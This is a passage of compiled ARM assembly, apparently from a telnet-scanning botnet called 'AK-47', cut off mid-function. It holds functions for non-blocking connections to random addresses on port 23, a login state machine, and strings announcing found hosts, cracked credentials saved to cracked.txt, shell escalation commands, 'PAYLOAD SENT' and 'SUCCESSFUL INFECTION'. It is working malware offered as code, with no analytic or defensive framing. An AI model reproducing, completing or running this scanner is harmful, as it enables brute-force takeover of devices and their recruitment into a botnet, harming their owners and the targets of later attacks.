	ldr	r0, [fp, #-8]
	bl	contains_string
	mov	r3, r0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L131:
	.align	2
.L130:
	.word	fails
	.size	contains_fail, .-contains_fail
	.align	2
	.global	contains_response
	.syntax unified
	.arm
	.fpu softvfp
	.type	contains_response, %function
contains_response:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r0, [fp, #-8]
	bl	contains_success
	mov	r3, r0
	cmp	r3, #0
	bne	.L133
	ldr	r0, [fp, #-8]
	bl	contains_fail
	mov	r3, r0
	cmp	r3, #0
	beq	.L134
.L133:
	mov	r3, #1
	b	.L136
.L134:
	mov	r3, #0
.L136:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	contains_response, .-contains_response
	.section	.rodata
	.align	2
.LC87:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	read_with_timeout
	.syntax unified
	.arm
	.fpu softvfp
	.type	read_with_timeout, %function
read_with_timeout:
	@ args = 0, pretend = 0, frame = 168
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #176
	str	r0, [fp, #-160]
	str	r1, [fp, #-164]
	str	r2, [fp, #-168]
	str	r3, [fp, #-172]
	ldr	r3, .L144
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-144]
	ldr	r3, [fp, #-164]
	str	r3, [fp, #-140]
	sub	r3, fp, #136
	str	r3, [fp, #-148]
	mov	r3, #0
	str	r3, [fp, #-152]
	b	.L138
.L139:
	ldr	r3, [fp, #-148]
	ldr	r2, [fp, #-152]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-152]
	add	r3, r3, #1
	str	r3, [fp, #-152]
.L138:
	ldr	r3, [fp, #-152]
	cmp	r3, #31
	bls	.L139
	ldr	r3, [fp, #-160]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-160]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	str	r1, [r3, #-132]
	ldr	r3, [fp, #-160]
	add	r0, r3, #1
	sub	r1, fp, #136
	sub	r3, fp, #144
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #0
	bl	select
	mov	r3, r0
	cmp	r3, #0
	bgt	.L140
	mov	r3, #0
	b	.L142
.L140:
	ldr	r2, [fp, #-172]
	mov	r3, #0
	ldr	r1, [fp, #-168]
	ldr	r0, [fp, #-160]
	bl	recv
	mov	r3, r0
.L142:
	ldr	r2, .L144
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L143
	bl	__stack_chk_fail
.L143:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L145:
	.align	2
.L144:
	.word	.LC87
	.size	read_with_timeout, .-read_with_timeout
	.section	.rodata
	.align	2
.LC88:
	.ascii	"\377\000"
	.text
	.align	2
	.global	read_until_response
	.syntax unified
	.arm
	.fpu softvfp
	.type	read_until_response, %function
read_until_response:
	@ args = 4, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	str	r2, [fp, #-24]
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-28]
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-24]
	bl	memset
	ldr	r3, [fp, #-28]
	ldr	r2, [fp, #-24]
	ldr	r1, [fp, #-20]
	ldr	r0, [fp, #-16]
	bl	read_with_timeout
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-24]
	ldr	r2, .L150
	cmp	r3, r2
	bne	.L147
	mov	r2, #3
	ldr	r1, [fp, #-24]
	ldr	r0, [fp, #-16]
	bl	negotiate
.L147:
	ldr	r1, [fp, #4]
	ldr	r0, [fp, #-24]
	bl	contains_string
	mov	r3, r0
	cmp	r3, #0
	beq	.L148
	mov	r3, #1
	b	.L149
.L148:
	mov	r3, #0
.L149:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L151:
	.align	2
.L150:
	.word	.LC88
	.size	read_until_response, .-read_until_response
	.align	2
	.global	get_telstate_host
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_telstate_host, %function
get_telstate_host:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-8]
	ldr	r0, [fp, #-8]
	bl	inet_ntoa
	mov	r3, r0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	get_telstate_host, .-get_telstate_host
	.align	2
	.global	advance_telstate
	.syntax unified
	.arm
	.fpu softvfp
	.type	advance_telstate, %function
advance_telstate:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	bne	.L155
	ldr	r3, [fp, #-8]
	ldr	r3, [r3]
	mov	r0, r3
	bl	close
.L155:
	ldr	r3, [fp, #-8]
	mov	r2, #0
	str	r2, [r3, #12]
	ldr	r3, [fp, #-12]
	and	r2, r3, #255
	ldr	r3, [fp, #-8]
	strb	r2, [r3, #8]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3, #16]
	mov	r2, #1024
	mov	r1, #0
	mov	r0, r3
	bl	memset
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	advance_telstate, .-advance_telstate
	.align	2
	.global	reset_telstate
	.syntax unified
	.arm
	.fpu softvfp
	.type	reset_telstate, %function
reset_telstate:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	mov	r1, #0
	ldr	r0, [fp, #-8]
	bl	advance_telstate
	ldr	r3, [fp, #-8]
	mov	r2, #1
	strb	r2, [r3, #9]
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	reset_telstate, .-reset_telstate
	.align	2
	.global	sclose
	.syntax unified
	.arm
	.fpu softvfp
	.type	sclose, %function
sclose:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #2
	bgt	.L158
	mov	r3, #1
	b	.L159
.L158:
	ldr	r0, [fp, #-8]
	bl	close
	mov	r3, #0
.L159:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	sclose, .-sclose
	.section	.rodata
	.align	2
.LC89:
	.ascii	"[AK-47] FOUND ---> %s:23\012\000"
	.align	2
.LC90:
	.ascii	"\015\012\000"
	.align	2
.LC91:
	.ascii	"[AK-47] [-] CRACKED ---> %s:23 %s:%s\012\000"
	.align	2
.LC92:
	.ascii	"echo '%s:23 %s:%s' >> cracked.txt\000"
	.align	2
.LC93:
	.ascii	"enable\015\012\000"
	.align	2
.LC94:
	.ascii	"system\015\012\000"
	.align	2
.LC95:
	.ascii	"shell\015\012\000"
	.align	2
.LC96:
	.ascii	"sh\015\012\000"
	.align	2
.LC97:
	.ascii	"echo -e '\\x41\\x4b\\x34\\x37'\000"
	.align	2
.LC98:
	.ascii	"[AK-47] [-] PAYLOAD SENT ---> %s:23 %s:%s\012\000"
	.align	2
.LC99:
	.ascii	"[AK-47] [+] SUCCESSFUL INFECTION ---> %s:23 %s:%s\012"
	.ascii	"\000"
	.align	2
.LC100:
	.ascii	"[AK-47] [-] FAILED TO INFECT ---> %s:23 %s:%s\012\000"
	.align	2
.LC101:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	ak47telscan
	.syntax unified
	.arm
	.fpu softvfp
	.type	ak47telscan, %function
ak47telscan:
	@ args = 0, pretend = 0, frame = 1232
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	sub	sp, sp, #1232
	sub	sp, sp, #8
	str	r0, [fp, #-1240]
	str	r1, [fp, #-1244]
	ldr	r3, .L224
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r3, [fp, #-1244]
	str	r3, [fp, #-1220]
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r4, r3
	bl	rand_cmwc
	mov	r3, r0
	eor	r3, r3, r4
	mov	r0, r3
	bl	srand
	sub	r3, fp, #12
	sub	r3, r3, #1168
	sub	r3, r3, #4
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	mov	r0, #23
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #12
	sub	r3, r3, #1168
	sub	r3, r3, #4
	strh	r2, [r3, #2]	@ movhi
	sub	r3, fp, #1168
	sub	r3, r3, #12
	sub	r3, r3, #4
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r0, .L224+4
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-1216]
	ldr	r2, .L224+4
	mov	r1, #0
	ldr	r0, [fp, #-1216]
	bl	memset
	ldr	ip, [fp, #-1220]
	sub	r3, ip, #1
	str	r3, [fp, #-1212]
	mov	r3, ip
	mov	r4, r3
	mov	r5, #0
	mov	r2, r4
	mov	r3, r5
	mov	r0, #0
	mov	r1, #0
	lsl	r1, r3, #2
	orr	r1, r1, r2, lsr #30
	lsl	r0, r2, #2
	mov	r2, r0
	mov	r3, r1
	adds	r2, r2, r4
	adc	r3, r3, r5
	mov	r0, #0
	mov	r1, #0
	lsl	r1, r3, #5
	orr	r1, r1, r2, lsr #27
	lsl	r0, r2, #5
	mov	r2, r0
	mov	r3, r1
	mov	r2, ip
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	mov	r3, ip
	mov	r4, r3
	mov	r5, #0
	mov	r2, r4
	mov	r3, r5
	mov	r0, #0
	mov	r1, #0
	lsl	r1, r3, #2
	orr	r1, r1, r2, lsr #30
	lsl	r0, r2, #2
	mov	r2, r0
	mov	r3, r1
	adds	r2, r2, r4
	adc	r3, r3, r5
	mov	r0, #0
	mov	r1, #0
	lsl	r1, r3, #5
	orr	r1, r1, r2, lsr #27
	lsl	r0, r2, #5
	mov	r2, r0
	mov	r3, r1
	mov	r2, ip
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r3, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	add	r3, sp, #8
	add	r3, r3, #3
	lsr	r3, r3, #2
	lsl	r3, r3, #2
	str	r3, [fp, #-1208]
	ldr	r2, [fp, #-1220]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-1208]
	bl	memset
	mov	r3, #0
	str	r3, [fp, #-1224]
	b	.L161
.L162:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r2, #20
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [fp, #-1216]
	str	r2, [r3]
	ldr	r3, [fp, #-1224]
	add	r3, r3, #1
	str	r3, [fp, #-1224]
.L161:
	ldr	r2, [fp, #-1224]
	ldr	r3, [fp, #-1220]
	cmp	r2, r3
	blt	.L162
.L216:
	mov	r3, #0
	str	r3, [fp, #-1224]
	b	.L163
.L215:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L164
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r0, r3
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	str	r0, [r3]
.L164:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #8
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #7
	ldrls	pc, [pc, r3, asl #2]
	b	.L165
.L167:
	.word	.L174
	.word	.L173
	.word	.L172
	.word	.L171
	.word	.L170
	.word	.L169
	.word	.L168
	.word	.L166
.L174:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #1
	bne	.L175
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r3, [r3]
	str	r3, [fp, #-1196]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r2, #20
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [fp, #-1196]
	str	r2, [r3]
	bl	getDatIP
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #4
	str	r0, [r3]
	b	.L176
.L175:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L176
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	add	r3, r3, #1
	and	r0, r3, #255
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	mov	r2, r0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	add	r3, r3, #1
	and	r0, r3, #255
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	mov	r2, r0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #98
	bne	.L177
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L177:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #99
	bne	.L176
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L176:
	sub	r3, fp, #12
	sub	r3, r3, #1168
	sub	r3, r3, #4
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	mov	r0, #23
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #12
	sub	r3, r3, #1168
	sub	r3, r3, #4
	strh	r2, [r3, #2]	@ movhi
	sub	r3, fp, #1168
	sub	r3, r3, #12
	sub	r3, r3, #4
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #4
	ldr	r3, [r3]
	str	r3, [fp, #-1180]
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	str	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	cmn	r3, #1
	beq	.L218
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r4, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r2, #0
	mov	r1, #3
	mov	r0, r3
	bl	fcntl
	mov	r3, r0
	orr	r3, r3, #2048
	mov	r2, r3
	mov	r1, #4
	mov	r0, r4
	bl	fcntl
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	sub	r3, fp, #1168
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #16
	mov	r1, r3
	bl	connect
	mov	r3, r0
	cmn	r3, #1
	bne	.L179
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #115
	beq	.L179
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L179:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #1
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L173:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	get_telstate_host
	mov	r3, r0
	mov	r1, r3
	ldr	r0, .L224+8
	bl	printf
	sub	r3, fp, #1152
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [fp, #-1204]
	mov	r3, #0
	str	r3, [fp, #-1228]
	b	.L181
.L182:
	ldr	r3, [fp, #-1204]
	ldr	r2, [fp, #-1228]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-1228]
	add	r3, r3, #1
	str	r3, [fp, #-1228]
.L181:
	ldr	r3, [fp, #-1228]
	cmp	r3, #31
	bls	.L182
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #12
	add	r3, r1, r3
	ldr	r0, [r3, #-1156]
	ldr	ip, [fp, #-1208]
	ldr	r1, [fp, #-1224]
	mov	r3, r1
	lsl	r3, r3, #2
	add	r3, r3, r1
	lsl	r3, r3, #2
	add	r3, ip, r3
	ldr	r3, [r3]
	rsbs	r1, r3, #0
	and	r3, r3, #31
	and	r1, r1, #31
	rsbpl	r3, r1, #0
	mov	r1, #1
	lsl	r3, r1, r3
	orr	r1, r0, r3
	lsl	r3, r2, #2
	sub	r2, fp, #12
	add	r3, r2, r3
	str	r1, [r3, #-1156]
	mov	r3, #0
	str	r3, [fp, #-1192]
	ldr	r3, [fp, #-1240]
	str	r3, [fp, #-1188]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	add	r0, r3, #1
	sub	r2, fp, #1152
	sub	r2, r2, #12
	sub	r2, r2, #4
	sub	r3, fp, #1168
	sub	r3, r3, #12
	sub	r3, r3, #12
	str	r3, [sp]
	mov	r3, #0
	mov	r1, #0
	bl	select
	str	r0, [fp, #-1200]
	ldr	r3, [fp, #-1200]
	cmp	r3, #1
	bne	.L183
	mov	r3, #4
	str	r3, [fp, #-1236]
	mov	r3, #0
	str	r3, [fp, #-1232]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	sub	r2, fp, #1216
	sub	r2, r2, #12
	sub	r2, r2, #4
	sub	r3, fp, #1216
	sub	r3, r3, #12
	sub	r3, r3, #8
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #4
	mov	r1, #1
	bl	getsockopt
	ldr	r3, [fp, #-1232]
	cmp	r3, #0
	beq	.L184
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L184:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r4, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r2, #0
	mov	r1, #3
	mov	r0, r3
	bl	fcntl
	mov	r3, r0
	bic	r3, r3, #2048
	mov	r2, r3
	mov	r1, #4
	mov	r0, r4
	bl	fcntl
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #2
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L183:
	ldr	r3, [fp, #-1200]
	cmn	r3, #1
	bne	.L186
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L186:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	ldr	r3, [r3]
	add	r4, r3, #5
	mov	r0, #0
	bl	time
	mov	r3, r0
	cmp	r4, r3
	bcs	.L219
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L219
.L172:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [r3]
	ldr	r3, .L224+12
	str	r3, [sp]
	mov	r3, #1024
	ldr	r1, [fp, #-1240]
	bl	read_until_response
	mov	r3, r0
	cmp	r3, #0
	beq	.L188
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	contains_fail
	mov	r3, r0
	cmp	r3, #0
	beq	.L189
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #0
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L189:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #3
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L188:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	ldr	r3, [r3]
	add	r4, r3, #7
	mov	r0, #0
	bl	time
	mov	r3, r0
	cmp	r4, r3
	bcs	.L220
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L220
.L171:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r4, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	r5, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	r3, [r3, r2, lsl #2]
	mov	r0, r3
	bl	strlen
	mov	r2, r0
